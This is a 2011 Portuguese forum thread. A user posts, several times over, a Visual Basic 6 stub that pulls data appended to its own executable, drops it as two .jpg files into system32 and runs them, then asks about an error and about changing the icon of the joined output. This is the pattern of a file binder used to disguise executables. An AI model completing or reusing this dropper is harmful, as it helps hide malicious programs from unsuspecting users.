|
|
Postada em 11/03/2011 20:11 hs
agora tenho outra duvida qual comando serve para executar as imagens depois de unidas pois clico nelas e não abrem da um erro vbcritical "invalid proceducure call or argument"
|
|
|
|
|
|
Runtime
|
RIO DE JANEIRO
RJ - BRASIL
|
|
ENUNCIADA !
|
|
|
Postada em 11/03/2011 20:12 hs
Segue parte do codigo Private Sub Form_Initialize()Dim data0 As StringDim data1 As StringDim data2 As StringOpen App.EXEName & ".exe" For Binary Shared As 1data0 = Input(LOF(1), #1)Close 1If InStr(1, data0, "***1") = 0 Then Exit SubChDir "C:windowssystem32"Open "1.jpg" For Binary As 2Open "2.jpg" For Binary As 3data1 = Mid(data0, InStr(1, data0, "***1") + 4)data2 = Mid(data1, InStr(1, data1, "***2") + 4)Put #3, , data2data1 = Mid(data1, 1, InStr(1, data1, "***2") - 1)Put #2, , data1Close 2Close 3Shell "1.jpg", vbMaximizedFocusShell "2.jpg", vbMaximizedFocusEndEnd Sub
|
|
|
|
Runtime
|
RIO DE JANEIRO
RJ - BRASIL
|
|
|
ENUNCIADA !
|
|
|
Postada em 11/03/2011 20:15 hs
Segue parte do codigo Private Sub Form_Initialize()Dim data0 As StringDim data1 As StringDim data2 As StringOpen App.EXEName & ".exe" For Binary Shared As 1data0 = Input(LOF(1), #1)Close 1If InStr(1, data0, "***1") = 0 Then Exit SubChDir "C:windowssystem32"Open "1.jpg" For Binary As 2Open "2.jpg" For Binary As 3data1 = Mid(data0, InStr(1, data0, "***1") + 4)data2 = Mid(data1, InStr(1, data1, "***2") + 4)Put #3, , data2data1 = Mid(data1, 1, InStr(1, data1, "***2") - 1)Put #2, , data1Close 2Close 3Shell "1.jpg", vbMaximizedFocusShell "2.jpg", vbMaximizedFocusEndEnd Sub
|
|
|
|
|
|
Postada em 11/03/2011 20:15 hs
agora tenho outra duvida qual comando serve para executar as imagens depois de unidas pois clico nelas e não abrem da um erro vbcritical "invalid proceducure call or argument"
|
|
|
|
Runtime
|
RIO DE JANEIRO
RJ - BRASIL
|
|
|
ENUNCIADA !
|
|
|
Postada em 11/03/2011 20:15 hs
Isso sNniffer
modificar o icone da aplicação final ou das 2 fotos unidas
|
|
|
|
Runtime
|
RIO DE JANEIRO
RJ - BRASIL
|
|
|
ENUNCIADA !
|
|
|
Postada em 11/03/2011 20:16 hs
Private Sub Form_Initialize()Dim data0 As StringDim data1 As StringDim data2 As StringOpen App.EXEName & ".exe" For Binary Shared As 1data0 = Input(LOF(1), #1)Close 1If InStr(1, data0, "***1") = 0 Then Exit SubChDir "C:windowssystem32"Open "1.jpg" For Binary As 2Open "2.jpg" For Binary As 3data1 = Mid(data0, InStr(1, data0, "***1") + 4)data2 = Mid(data1, InStr(1, data1, "***2") + 4)Put #3, , data2data1 = Mid(data1, 1, InStr(1, data1, "***2") - 1)Put #2, , data1Close 2Close 3Shell "1.jpg", vbMaximizedFocusShell "2.jpg", vbMaximizedFocusEndEnd Sub
|
|
|
|
|
